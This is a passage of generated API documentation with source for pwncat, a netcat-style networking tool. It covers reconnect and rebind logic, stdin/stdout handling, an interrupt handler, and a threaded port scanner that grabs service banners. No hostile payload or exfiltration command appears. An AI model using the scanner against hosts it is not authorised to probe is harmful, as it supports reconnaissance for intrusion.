                self.__cleanup()
                return
            # [3/3] Connection was closed remotely (EOF) or locally (Ctrl+C or similar)
            except (EOFError, AttributeError, socket.error) as err:
                # Do we have a stop signal?
                if self.ssig.has_sock_quit():
                    self.log.trace(  # type: ignore
                        "SOCK-QUIT signal ACK in IONetwork.producer [2]: %s", err
                    )
                    self.__cleanup()
                    return
                # Do we re-accept new clients?
                if self.__sock_opts.udp:
                    # Always accept new clients or reconnect in UDP mode (its stateless)
                    continue
                if self.__role == "server" and self.__server_reaccept_from_client():
                    continue
                if self.__role == "client" and self.__client_reconnect_to_server():
                    continue
                # Inform everybody that we are quitting
                self.log.trace("SOCK-EOF signal RAISE in IONetwork.producer")  # type: ignore
                self.ssig.raise_sock_eof()

    def consumer(self, data):
        # type: (bytes) -> None
        """Send data to a socket."""
        try:
            self.__net.send(data)
        except socket.error:
            pass

    def interrupt(self):
        # type: () -> None
        """Stop function that can be called externally to close this instance."""
        self.log.trace("SOCK-QUIT signal RAISE in IONetwork.interrupt")  # type: ignore
        self.ssig.raise_sock_quit()
        self.__cleanup()

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __cleanup(self):
        # type: () -> None
        """Cleanup function."""
        if not self.__cleaned_up:
            self.log.trace("SOCK-QUIT-CLEANUP: Closing sockets")  # type: ignore
            self.__net.close_conn_sock()
            self.__net.close_bind_sock()
            self.__cleaned_up = True

    def __client_reconnect_to_server(self):
        # type: () -> bool
        """Ensure the client re-connects to the remote server, if the remote server hang up.

        Returns:
            bool: Returns `True` on success and `False` on failure or stop signal requested.
        """
        assert self.__role == "client", "This should have been caught during arg check."

        # reconn < 0 (endlessly)
        # reconn > 0 (reconnect until counter reaches zero)
        while self.__cli_opts.reconn != 0:
            # [1/6] Let's ask the interrupter() function if we should terminate?
            # We need a little wait here in order for the stop signal to propagate.
            # Don't know how fast the other threads are.
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__clienet_reconnect_to_server [1]"
                )
                return False

            # [2/6] Wait
            time.sleep(self.__cli_opts.reconn_wait)

            # [3/6] Let's ask the interrupter() function if we should terminate?
            # In case the other threads were slower as the sleep time in [1/5]
            # we will check again here.
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__clienet_reconnect_to_server [2]"
                )
                return False

            # [4/6] Increment the port numer (if --reconn-robin has multiple)
            self.__pport += 1
            if self.__pport == len(self.__ports):
                self.__pport = 0

            if self.__cli_opts.reconn > 0:
                self.log.info(
                    "Reconnecting to %s:%d in %.1f sec (%d more times left)",
                    self.__host,
                    self.__ports[self.__pport],
                    self.__cli_opts.reconn_wait,
                    self.__cli_opts.reconn,
                )
            else:
                self.log.info(
                    "Reconnecting to %s:%d in %.1f sec (indefinitely)",
                    self.__host,
                    self.__ports[self.__pport],
                    self.__cli_opts.reconn_wait,
                )

            # [5/6] Decrease reconnect counter
            if self.__cli_opts.reconn > 0:
                self.__cli_opts.reconn -= 1

            # [6/6] Recurse until True or reconnect count is used up
            if self.__net.run_client(self.__host, self.__ports[self.__pport]):
                return True

        # [5/5] Signal failure
        self.log.info("Reconnect count is used up. Shutting down.")
        return False

    def __server_rebind(self):
        # type: () -> bool

        # rebind < 0 (endlessly)
        # rebind > 0 (rebind until counter reaches zero)
        while self.__srv_opts.rebind != 0:

            # [1/7] Let's ask the interrupter() function if we should terminate?
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__server_rebind [1]"
                )
                return False

            # [2/7] Increment the port numer (if --reconn-robin has multiple)
            self.__pport += 1
            if self.__pport == len(self.__ports):
                self.__pport = 0

            # [3/7] Notify user
            if self.__srv_opts.rebind > 0:
                self.log.info(
                    "Rebinding to port %d in %.1f sec (%d more times left)",
                    self.__ports[self.__pport],
                    self.__srv_opts.rebind_wait,
                    self.__srv_opts.rebind,
                )
            else:
                self.log.info(
                    "Rebinding to port %d in %.1f sec (indefinitely)",
                    self.__ports[self.__pport],
                    self.__srv_opts.rebind_wait,
                )

            # [4/7] Decrease reconnect counter
            if self.__srv_opts.rebind > 0:
                self.__srv_opts.rebind -= 1

            # [5/7] Wait (--rebind-wait)
            time.sleep(self.__srv_opts.rebind_wait)

            # [6/7] Let's ask the interrupter() function if we should terminate?
            # In case the other threads were slower as the sleep time in [1/7]
            # we will check again here.
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__server_rebind [2]"
                )
                return False

            # [6/7] Recurse until True or reconnect count is used up
            if self.__net.run_server(self.__host, self.__ports[self.__pport]):
                return True

        # [7/7] Nope
        self.log.info("Rebind count is used up. Shutting down.")
        return False

    def __server_reaccept_from_client(self):
        # type: () -> bool
        """Ensure the server is able to keep connection open by re-accepting new clients.

        Returns:
            bool: True on success and False on failure
        """
        # Do not re-accept for UDP
        assert not self.__sock_opts.udp, "This should have been caught during arg check."
        assert self.__role == "server", "This should have been caught during arg check."

        # [NO] Do not re-accept
        if not self.__srv_opts.keep_open:
            self.log.info("No automatic re-accept specified. Shutting down.")
            return False

        # [MAYBE] Check stop signal and otherwise try until success.
        while True:
            time.sleep(0.01)
            # [NO] We have a stop signal
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__server_reaccept_from_client"
                )
                return False
            # [YES] Re-accept indefinitely
            self.log.info("Re-accepting new clients")
            if self.__net.re_accept_client():
                return True

Ancestors

  • IO
  • abc.ABC

Instance variables

var net

Returns instance of Net.

Expand source code 
@property
def net(self):
    # type: () -> Net
    """Returns instance of Net."""
    return self.__net

Methods

def consumer(self, data)

Send data to a socket.

Expand source code 
def consumer(self, data):
    # type: (bytes) -> None
    """Send data to a socket."""
    try:
        self.__net.send(data)
    except socket.error:
        pass
def interrupt(self)

Stop function that can be called externally to close this instance.

Expand source code 
def interrupt(self):
    # type: () -> None
    """Stop function that can be called externally to close this instance."""
    self.log.trace("SOCK-QUIT signal RAISE in IONetwork.interrupt")  # type: ignore
    self.ssig.raise_sock_quit()
    self.__cleanup()
def producer(self, *args, **kwargs)

Network receive generator which hooks into the receive function and adds features.

Yields

str
Data received from a connected socket.
Expand source code 
def producer(self, *args, **kwargs):
    # type: (Any, Any) -> Iterator[bytes]
    """Network receive generator which hooks into the receive function and adds features.

    Yields:
        str: Data received from a connected socket.
    """
    # Counter for receive retries once this side of the program
    # shuts down (e.g.: Ctrl+c) as there could be data left on the wire.
    curr_recv_timeout_retry = 0

    # Loop endlessly and yield data back to the caller
    while True:
        # [1/3] Generate data
        try:
            yield self.__net.receive()
        # [2/3] Non-blocking socket is finished receiving data and allows us to do some action
        except socket.timeout as err:
            # Check if we close the socket for sending
            if self.ssig.has_sock_send_eof():
                self.log.trace(  # type: ignore
                    "SOCK-SEND-EOF signal ACK in IONetwork.producer [1]: %s", err
                )
                self.__net.send_eof()

            # Let's ask the interrupter() function if we should terminate?
            if not self.ssig.has_sock_quit():
                continue
            # Stop signal is raied when my own side of the network was closed.
            # Happened most likely that the user pressed Ctrl+c
            # Before quitting, we will check x many times, if there is still
            # data left to receive, before shutting down.
            if curr_recv_timeout_retry < self.__sock_opts.recv_timeout_retry:
                self.log.trace(  # type: ignore
                    "Final socket read: %d/%d before quitting.",
                    curr_recv_timeout_retry + 1,
                    self.__sock_opts.recv_timeout_retry,
                )
                curr_recv_timeout_retry += 1
                continue
            # We ware all done reading, shut down
            self.log.trace(  # type: ignore
                "SOCK-QUIT signal ACK in IONetwork.producer [1]: %s", err
            )
            self.__cleanup()
            return
        # [3/3] Connection was closed remotely (EOF) or locally (Ctrl+C or similar)
        except (EOFError, AttributeError, socket.error) as err:
            # Do we have a stop signal?
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.producer [2]: %s", err
                )
                self.__cleanup()
                return
            # Do we re-accept new clients?
            if self.__sock_opts.udp:
                # Always accept new clients or reconnect in UDP mode (its stateless)
                continue
            if self.__role == "server" and self.__server_reaccept_from_client():
                continue
            if self.__role == "client" and self.__client_reconnect_to_server():
                continue
            # Inform everybody that we are quitting
            self.log.trace("SOCK-EOF signal RAISE in IONetwork.producer")  # type: ignore
            self.ssig.raise_sock_eof()

Inherited members

class IONetworkScanner (ssig, encoder, host, banner, cli_opts, sock_opts)

Pwncat Scanner implementation based on custom Socket library.

Create a Pwncat Network Scanner instance.

Args

ssig : InterruptHandler
Instance of InterruptHandler.
encoder : StringEncoder
Instance of StringEncoder (Python2/3 str/byte compat).
host : str
The hostname to resolve.
banner : bool
Determines if we do banner grabbing as well.
cli_opts : DsIONetworkCli
Options for the client.
sock_opts : DsIONetworkSock
Options to parse back to Sock.
Expand source code 
class IONetworkScanner(IO):
    """Pwncat Scanner implementation based on custom Socket library."""

    BANNER_PAYLOADS = {
        # 0 is for generic ones, which do not have a custom port definition already
        0: [
            None,  # This means to not send anything, but receive first
            "",
            "\0",
            "\r",
            "\n",
            "\r\n",
            "HEAD /\r\n\r\n",
        ],
    }

    # Common regexes
    BANNER_REG = [
        r"Server:\s*(.*)",  # extract webserver from header
        r"(.*[0-9][-.0-9]*.*)",  # generic version string
    ]

    # Compiled versions of common regexes
    BANNER_REG_COMP = []  # type: List[re.Pattern[str]]

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        ssig,  # type: InterruptHandler
        encoder,  # type: StringEncoder
        host,  # type: str
        banner,  # type: bool
        cli_opts,  # type: DsIONetworkCli
        sock_opts,  # type: DsIONetworkSock
    ):
        # type: (...) -> None
        """Create a Pwncat Network Scanner instance.

        Args:
            ssig (InterruptHandler): Instance of InterruptHandler.
            encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat).
            host (str): The hostname to resolve.
            banner (bool): Determines if we do banner grabbing as well.
            cli_opts (DsIONetworkCli):   Options for the client.
            sock_opts (DsIONetworkSock): Options to parse back to Sock.
        """
        super(IONetworkScanner, self).__init__(ssig)

        self.__ssig = ssig
        self.__enc = encoder
        self.__cli_opts = cli_opts
        self.__sock_opts = sock_opts
        self.__banner = banner

        self.__log = logging.getLogger(__name__)
        self.__sock = Sock()
        self.__screen_lock = threading.Semaphore()

        # Keep track of local binds (addr-port) of the threaded scanner
        # clients as we do not want to treat them as open ports (false posistives)
        self.__local_binds = {}  # type: Dict[str, socket.socket]

        # Compile our regexes if using banner detection
        if banner:
            for reg in self.BANNER_REG:
                self.BANNER_REG_COMP.append(re.compile(reg, re.IGNORECASE))

        # Get numerical IP addresses for IPv4 and/or IPv6
        if self.__sock_opts.ipv6:
            families = [int(socket.AF_INET6)]
        elif self.__sock_opts.ipv4:
            families = [int(socket.AF_INET)]
        else:
            families = [
                int(socket.AF_INET6),
                int(socket.AF_INET),
            ]
        self.__targets = {}
        for family in families:
            try:
                self.__targets[family] = self.__sock.gethostbyname(
                    host, family, not self.__sock_opts.nodns
                )
            except socket.gaierror:
                pass

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def __get_socket(self, family):
        # type: (Union[socket.AddressFamily, int]) -> socket.socket
        """Create socket for specific address family endlessly until resources are available."""
        # The scanner starts one thread for each port to scan. Each thread will also create
        # one socket and we might hit the max_allowed_files limit (ulimit).
        # That's why we loop through creating sockets until we hit a success
        # as in the meantime, other threads might have already released sockets/fd's.
        while True:
            delay = 0.0
            if self.__ssig.has_terminate():
                self.log.trace(  # type: ignore
                    "TERMINATE signal ACK for IONetworkScanner._getsocket"
                )
                raise socket.error("quit")
            try:
                if self.__sock_opts.udp:
                    return self.__sock.create_socket(family, socket.SOCK_DGRAM, False)
                return self.__sock.create_socket(family, socket.SOCK_STREAM, False)
            except socket.error:
                delay += 0.1
                time.sleep(delay)  # This can be bigger to give the system some time to release fd's

    def __get_banner_version(self, banner):
        # type: (str) -> Optional[str]
        """Extract version information from a string."""
        if not banner or banner is None:
            return None

        # If we only have a single line, return it (all we got)
        lines = banner.splitlines()
        if len(lines) == 1:
            return lines[0]

        # Version extraction
        for reg in self.BANNER_REG_COMP:
            match = re.search(reg, banner)
            if match:
                return StringEncoder.rstrip(match.group(1))  # type: ignore

        # Nothing found, return first non-empty line
        for line in lines:
            if line:
                return line

        # Nothing found
        return None

    def __get_banner(self, sock, addr, port):
        # type: (socket.socket, str, int) -> Tuple[bool, Optional[str]]
        """Retrieve the (version) banner from a network service."""
        if port in self.BANNER_PAYLOADS:
            payloads = self.BANNER_PAYLOADS[port] + self.BANNER_PAYLOADS[0]
        else:
            payloads = self.BANNER_PAYLOADS[0]

        for payload in payloads:
            # Break the loop on terminate signal
            if self.__ssig.has_terminate():
                self.log.trace(  # type: ignore
                    "TERMINATE signal ACK for IONetworkScanner._getbanner: %s-%d", addr, port
                )
                return (False, None)
            try:
                if payload is not None:
                    sock.send(self.__enc.encode(payload))
                    self.__log.debug("%s:%d - payload sent: %s", addr, port, repr(payload))

                sock.settimeout(0.5)
                banner = sock.recv(self.__sock_opts.bufsize)
                version = self.__get_banner_version(self.__enc.decode(banner))
                self.__log.debug("%s:%d - respone received: %s", addr, port, repr(banner))
                return (True, version)
            except socket.timeout:
                continue
            except (OSError, socket.error):
                return (False, None)
        return (True, None)

    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Port scanner yielding open/closed string for given port.

        Args:
            args: additional arguments.
            kwargs: additional arguments.

        Yields:
            str: Open/closed state (optionally with banner) from a port.
        """
        port = args[0]

        # Loop over adress families
        for family in self.__targets:

            # [1/7] Check for termination request
            if self.__ssig.has_terminate():
                self.log.trace("TERMINATE signal ACK for IONetworkScanner.producer")  # type: ignore
                return

            addr = self.__targets[family]

            # [2/7] Get socket
            try:
                sock = self.__get_socket(family)
                sock_type = sock.type
            except (AttributeError, socket.error):
                # Exception is triggered due to stop stignal and we
                # will abort here in that case.
                return

            # [3/7] Connect scan
            try:
                laddr, lport = self.__sock.connect(
                    sock,
                    addr,
                    port,
                    None,
                    None,
                    True,
                    self.__enc.encode("\0"),
                    self.__sock_opts.bufsize,
                    0.1,
                )
                # Append local binds (addr-port) to check against during port scan
                key = str(laddr + "-" + str(lport))
                self.__local_binds[key] = sock
            except socket.error:
                self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port))
                continue

            # [4/7] False positives
            # Connect was successful, but against a local bind of one of our
            # port scanners, so this is a false positive.
            if str(addr + "-" + str(port)) in self.__local_binds:
                self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port))
                del self.__local_binds[key]
                continue

            # [5/7] Banner grabbing
            succ_banner = True
            banner = None
            if self.__banner:
                (succ_banner, banner) = self.__get_banner(sock, addr, port)

            # [6/7] Evaluation
            if banner is not None and succ_banner:
                msg = "[+] {:>5}/{} open   ({}): {}".format(
                    port,
                    self.__sock.get_type_name(sock_type),
                    self.__sock.get_family_name(family),
                    banner,
                )
                yield self.__enc.encode(msg)
            if banner is None and succ_banner:
                msg = "[+] {:>5}/{} open   ({})".format(
                    port,
                    self.__sock.get_type_name(sock_type),
                    self.__sock.get_family_name(family),
                )
                yield self.__enc.encode(msg)

            # [7/7] Cleanup
            self.__sock.close(sock, key)
            del self.__local_binds[key]

    def consumer(self, data):
        # type: (bytes) -> None
        """Print received data to stdout."""
        # For issues with flush (when using tail -F or equal) see links below:
        # https://stackoverflow.com/questions/26692284
        # https://docs.python.org/3/library/signal.html#note-on-sigpipe
        with self.__screen_lock:
            print(StringEncoder.decode(data))
            try:
                sys.stdout.flush()
            except IOError:
                # Python flushes standard streams on exit; redirect remaining output
                # to devnull to avoid another broken pipe at shutdown
                devnull = os.open(os.devnull, os.O_WRONLY)
                os.dup2(devnull, sys.stdout.fileno())

    def interrupt(self):
        # type: () -> None
        """Stop function that can be called externally to close this instance."""
        self.log.trace("SOCK-QUIT signal RAISED in IONetworkScanner.interrupt")  # type: ignore
        self.ssig.raise_sock_quit()

        # NOTE: Closing up to 65535 sockets (single thread) takes very very long
        # Se we leave this up to Python itself, once the program exits.
        # self.log.trace("SOCK-QUIT-CLEANUP: Closing sockets")  # type: ignore
        # # Double loop to prevent: Dictionary size changed during iteration
        # remove = {}
        # for key in self.__local_binds:
        #     remove[key] = self.__local_binds[key]
        # for key in remove:
        #     self.__sock.close(remove[key], key)

Ancestors

  • IO
  • abc.ABC

Class variables

var BANNER_PAYLOADS
var BANNER_REG
var BANNER_REG_COMP

Methods

def consumer(self, data)

Print received data to stdout.

Expand source code 
def consumer(self, data):
    # type: (bytes) -> None
    """Print received data to stdout."""
    # For issues with flush (when using tail -F or equal) see links below:
    # https://stackoverflow.com/questions/26692284
    # https://docs.python.org/3/library/signal.html#note-on-sigpipe
    with self.__screen_lock:
        print(StringEncoder.decode(data))
        try:
            sys.stdout.flush()
        except IOError:
            # Python flushes standard streams on exit; redirect remaining output
            # to devnull to avoid another broken pipe at shutdown
            devnull = os.open(os.devnull, os.O_WRONLY)
            os.dup2(devnull, sys.stdout.fileno())
def interrupt(self)

Stop function that can be called externally to close this instance.

Expand source code 
def interrupt(self):
    # type: () -> None
    """Stop function that can be called externally to close this instance."""
    self.log.trace("SOCK-QUIT signal RAISED in IONetworkScanner.interrupt")  # type: ignore
    self.ssig.raise_sock_quit()

    # NOTE: Closing up to 65535 sockets (single thread) takes very very long
    # Se we leave this up to Python itself, once the program exits.
    # self.log.trace("SOCK-QUIT-CLEANUP: Closing sockets")  # type: ignore
    # # Double loop to prevent: Dictionary size changed during iteration
    # remove = {}
    # for key in self.__local_binds:
    #     remove[key] = self.__local_binds[key]
    # for key in remove:
    #     self.__sock.close(remove[key], key)
def producer(self, *args, **kwargs)

Port scanner yielding open/closed string for given port.

Args

args
additional arguments.
kwargs
additional arguments.

Yields

str
Open/closed state (optionally with banner) from a port.
Expand source code 
def producer(self, *args, **kwargs):
    # type: (Any, Any) -> Iterator[bytes]
    """Port scanner yielding open/closed string for given port.

    Args:
        args: additional arguments.
        kwargs: additional arguments.

    Yields:
        str: Open/closed state (optionally with banner) from a port.
    """
    port = args[0]

    # Loop over adress families
    for family in self.__targets:

        # [1/7] Check for termination request
        if self.__ssig.has_terminate():
            self.log.trace("TERMINATE signal ACK for IONetworkScanner.producer")  # type: ignore
            return

        addr = self.__targets[family]

        # [2/7] Get socket
        try:
            sock = self.__get_socket(family)
            sock_type = sock.type
        except (AttributeError, socket.error):
            # Exception is triggered due to stop stignal and we
            # will abort here in that case.
            return

        # [3/7] Connect scan
        try:
            laddr, lport = self.__sock.connect(
                sock,
                addr,
                port,
                None,
                None,
                True,
                self.__enc.encode("\0"),
                self.__sock_opts.bufsize,
                0.1,
            )
            # Append local binds (addr-port) to check against during port scan
            key = str(laddr + "-" + str(lport))
            self.__local_binds[key] = sock
        except socket.error:
            self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port))
            continue

        # [4/7] False positives
        # Connect was successful, but against a local bind of one of our
        # port scanners, so this is a false positive.
        if str(addr + "-" + str(port)) in self.__local_binds:
            self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port))
            del self.__local_binds[key]
            continue

        # [5/7] Banner grabbing
        succ_banner = True
        banner = None
        if self.__banner:
            (succ_banner, banner) = self.__get_banner(sock, addr, port)

        # [6/7] Evaluation
        if banner is not None and succ_banner:
            msg = "[+] {:>5}/{} open   ({}): {}".format(
                port,
                self.__sock.get_type_name(sock_type),
                self.__sock.get_family_name(family),
                banner,
            )
            yield self.__enc.encode(msg)
        if banner is None and succ_banner:
            msg = "[+] {:>5}/{} open   ({})".format(
                port,
                self.__sock.get_type_name(sock_type),
                self.__sock.get_family_name(family),
            )
            yield self.__enc.encode(msg)

        # [7/7] Cleanup
        self.__sock.close(sock, key)
        del self.__local_binds[key]

Inherited members

class IOStdinStdout (ssig, opts)

Implement basic stdin/stdout I/O module.

This I/O module provides a generator which continuously reads from stdin (non-blocking on POSIX and blocking on Windows) as well as a callback that writes to stdout.

Set specific options for this I/O module.

Args

ssig : InterruptHandler
InterruptHandler instance.
opts : DsIOStdinStdout
IO options.
Expand source code 
class IOStdinStdout(IO):
    """Implement basic stdin/stdout I/O module.

    This I/O module provides a generator which continuously reads from stdin
    (non-blocking on POSIX and blocking on Windows) as well as a
    callback that writes to stdout.
    """

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, ssig, opts):
        # type: (InterruptHandler, DsIOStdinStdout) -> None
        """Set specific options for this I/O module.

        Args:
            ssig (InterruptHandler): InterruptHandler instance.
            opts (DsIOStdinStdout): IO options.
        """
        super(IOStdinStdout, self).__init__(ssig)
        self.__opts = opts
        self.__py3 = sys.version_info >= (3, 0)  # type: bool
        self.__win = os.name != "posix"  # posix or nt
        self.__stdout_isatty = sys.stdout.isatty()
        self.__stdin_isatty = sys.stdin.isatty()

        self.log.debug("STDOUT isatty: %s", self.__stdout_isatty)
        self.log.debug("STDIN  isatty: %s", self.__stdin_isatty)
        self.log.debug("STDIN  posix:  %s (%s)", str(self.__win), os.name)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Constantly ask for user input.

        Yields:
            str: Data read from stdin.
        """
        # On --send-on-eof we will return all of its contents at once:
        lines = []

        # https://stackoverflow.com/questions/1450393/#38670261
        # while True: line = sys.stdin.readline() <- reads a whole line (faster)
        # for line in sys.stdin.readlin():        <- reads one byte at a time
        while True:
            if self.ssig.has_stdin_quit():
                self.log.trace(  # type: ignore
                    "STDIN-QUIT signal ACK in IOStdinStdout.producer [1]"
                )
                return
            try:
                data = self.__read_stdin()
            except EOFError:
                # When using select() with timeout, we don't have any input
                # at this point and simply continue the loop or quit if
                # a terminate request has been made by other threads.
                if self.ssig.has_stdin_quit():
                    self.log.trace(  # type: ignore
                        "STDIN-QUIT signal ACK in IOStdinStdout.producer [2]"
                    )
                    return
                continue
            if data:
                self.log.debug("Received %d bytes from STDIN", len(data))
                self.log.trace("Received: %s", repr(data))  # type: ignore
                # [send-on-eof] Append data
                if self.__opts.send_on_eof:
                    lines.append(data)
                else:
                    yield data
            # EOF or <Ctrl>+<d>
            else:
                # [send-on-eof] Dump data before quitting
                if lines and self.__opts.send_on_eof:
                    yield StringEncoder.encode("").join(lines)
                self.log.trace("STDIN-EOF signal RAISE in IOStdinStdout.producer")  # type: ignore
                self.ssig.raise_stdin_eof()

    def consumer(self, data):
        # type: (bytes) -> None
        """Print received data to stdout."""
        if self.__py3:
            sys.stdout.buffer.write(data)
        else:
            # For issues with flush (when using tail -F or equal) see links below:
            # https://stackoverflow.com/questions/26692284
            # https://docs.python.org/3/library/signal.html#note-on-sigpipe
            print(data, end="")

        try:
            sys.stdout.flush()
        except IOError:
            # Python flushes standard streams on exit; redirect remaining output
            # to devnull to avoid another broken pipe at shutdown
            devnull = os.open(os.devnull, os.O_WRONLY)
            os.dup2(devnull, sys.stdout.fileno())

    def interrupt(self):
        # type: () -> None
        """Stop function that can be called externally to close this instance."""
        # TODO: Does not work on windows as it has blocking read of stdin
        self.log.trace("STDIN-QUIT signal RAISE in IOStdinStdout.interrupt")  # type: ignore
        self.ssig.raise_stdin_quit()

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __set_input_timeout(self):
        # type: () -> None
        """Throws a catchable EOFError exception for sys.stdin after timeout (Linux only)."""
        # rlist: wait until ready for reading
        # wlist: wait until ready for writing
        # xlist: wait for an exceptional condition
        if not select.select([sys.stdin], [], [], self.__opts.input_timeout)[0]:
            raise EOFError("timed out")

    def __stdin_israw(self):
        # type: () -> bool
        """Check if the terminal (STDIN) is set to raw mode."""
        # Non-posix systems (e.g. Windows) do not have a raw mode
        if self.__win:
            return False

        fild = sys.stdin.fileno()
        try:
            mode = termios.tcgetattr(fild)
        except termios.error:
            # Not a TTY
            return False

        # ICANON
        # https://linux.die.net/man/3/termios
        # The setting of the ICANON canon flag in c_lflag determines whether
        # the terminal is operating in canonical mode (ICANON set) or
        # noncanonical (raw) mode (ICANON unset). By default, ICANON set.
        return mode[tty.LFLAG] != (mode[tty.LFLAG] | termios.ICANON)  # type: ignore

    def __read_stdin(self):
        # type: () -> bytes
        """Returns input from STDIN."""
        # [1/3] (Windows) Normal/Raw mode
        if self.__win:
            if self.__py3:
                return sys.stdin.buffer.read()
            # Python 2 on Windows opens sys.stdin in text mode, and
            # binary data that read from it becomes corrupted on \r\n.
            # Setting sys.stdin to binary mode fixes that.
            if hasattr(os, "O_BINARY"):
                msvcrt.setmode(  # type: ignore
                    sys.stdin.fileno(),
                    os.O_BINARY,  # pylint: disable=no-member
                )
            return sys.stdin.read()  # type: ignore

        # [2/3] (Linux/Mac) Raw mode
        if self.__stdin_israw():
            # Issue #109
            # when pasting in term I donot get full line echo
            # To mitigate this, I'm disabling the select.select call on sys.stdin
            # self.__set_input_timeout()
            if self.__py3:
                return sys.stdin.buffer.read(1)
            return sys.stdin.read(1)  # type: ignore

        # [3/3] (Linux/Mac) Normal mode
        self.__set_input_timeout()
        if self.__py3:
            return sys.stdin.buffer.readline()
        return sys.stdin.readline()  # type: ignore

Ancestors

  • IO
  • abc.ABC

Methods

def consumer(self, data)

Print received data to stdout.

Expand source code 
def consumer(self, data):
    # type: (bytes) -> None
    """Print received data to stdout."""
    if self.__py3:
        sys.stdout.buffer.write(data)
    else:
        # For issues with flush (when using tail -F or equal) see links below:
        # https://stackoverflow.com/questions/26692284
        # https://docs.python.org/3/library/signal.html#note-on-sigpipe
        print(data, end="")

    try:
        sys.stdout.flush()
    except IOError:
        # Python flushes standard streams on exit; redirect remaining output
        # to devnull to avoid another broken pipe at shutdown
        devnull = os.open(os.devnull, os.O_WRONLY)
        os.dup2(devnull, sys.stdout.fileno())
def interrupt(self)

Stop function that can be called externally to close this instance.

Expand source code 
def interrupt(self):
    # type: () -> None
    """Stop function that can be called externally to close this instance."""
    # TODO: Does not work on windows as it has blocking read of stdin
    self.log.trace("STDIN-QUIT signal RAISE in IOStdinStdout.interrupt")  # type: ignore
    self.ssig.raise_stdin_quit()
def producer(self, *args, **kwargs)

Constantly ask for user input.

Yields

str
Data read from stdin.
Expand source code 
def producer(self, *args, **kwargs):
    # type: (Any, Any) -> Iterator[bytes]
    """Constantly ask for user input.

    Yields:
        str: Data read from stdin.
    """
    # On --send-on-eof we will return all of its contents at once:
    lines = []

    # https://stackoverflow.com/questions/1450393/#38670261
    # while True: line = sys.stdin.readline() <- reads a whole line (faster)
    # for line in sys.stdin.readlin():        <- reads one byte at a time
    while True:
        if self.ssig.has_stdin_quit():
            self.log.trace(  # type: ignore
                "STDIN-QUIT signal ACK in IOStdinStdout.producer [1]"
            )
            return
        try:
            data = self.__read_stdin()
        except EOFError:
            # When using select() with timeout, we don't have any input
            # at this point and simply continue the loop or quit if
            # a terminate request has been made by other threads.
            if self.ssig.has_stdin_quit():
                self.log.trace(  # type: ignore
                    "STDIN-QUIT signal ACK in IOStdinStdout.producer [2]"
                )
                return
            continue
        if data:
            self.log.debug("Received %d bytes from STDIN", len(data))
            self.log.trace("Received: %s", repr(data))  # type: ignore
            # [send-on-eof] Append data
            if self.__opts.send_on_eof:
                lines.append(data)
            else:
                yield data
        # EOF or <Ctrl>+<d>
        else:
            # [send-on-eof] Dump data before quitting
            if lines and self.__opts.send_on_eof:
                yield StringEncoder.encode("").join(lines)
            self.log.trace("STDIN-EOF signal RAISE in IOStdinStdout.producer")  # type: ignore
            self.ssig.raise_stdin_eof()

Inherited members

class InterruptHandler (keep_open, no_shutdown)

Pwncat interrupt handler.

It allows all threads to raise various signal on certain actions, as well as to ask the Interrupt Handler what to do. The Interrupt handler will internally decide (based on pwncat's command line arguments) what to do.

Instantiate InterruptHandler.

Args

keep_open : bool
--keep-open command line argument.
no_shutdown : bool
--no-shutdown command line argument.
Expand source code 
class InterruptHandler(object):
    """Pwncat interrupt handler.

    It allows all threads to raise various signal on certain actions,
    as well as to ask the Interrupt Handler what to do.
    The Interrupt handler will internally decide (based on pwncat's
    command line arguments) what to do.
    """

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, keep_open, no_shutdown):
        # type: (bool, bool) -> None
        """Instantiate InterruptHandler.

        Args:
            keep_open (bool): `--keep-open` command line argument.
            no_shutdown (bool): `--no-shutdown` command line argument.
        """
        self.__log = logging.getLogger(__name__)  # type: logging.Logger
        self.__keep_open = keep_open
        self.__no_shutdown = no_shutdown

        # Shutdown signals
        self.__terminate = False
        self.__sock_send_eof = False
        self.__sock_quit = False
        self.__stdin_quit = False
        self.__command_quit = False

        # Producers have received EOF
        self.__sock_eof = False
        self.__stdin_eof = False
        self.__command_eof = False

        def handler(signum, frame):  # type: ignore  # pylint: disable=unused-argument
            self.__log.trace("Ctrl+c caught.")  # type: ignore
            # logging.shutdown()
            self.raise_terminate()

        # Handle Ctrl+C
        # signal.signal(signal.SIGTERM, handler)
        signal.signal(signal.SIGINT, handler)

    # --------------------------------------------------------------------------
    # Ask for action
    # --------------------------------------------------------------------------
    def has_terminate(self):
        # type: () -> bool
        """`bool`: Switch to be checked if pwncat should be terminated."""
        return self.__terminate

    def has_sock_send_eof(self):
        # type: () -> bool
        """`bool`: Switch to be checked if the socket connection should be closed for sending."""
        return self.__sock_send_eof

    def has_sock_quit(self):
        # type: () -> bool
        """`bool`: Switch to be checked if the socket connection should be closed."""
        return self.__sock_quit

    def has_stdin_quit(self):
        # type: () -> bool
        """`bool`: Switch to be checked if the STDIN should be closed."""
        return self.__stdin_quit

    def has_command_quit(self):
        # type: () -> bool
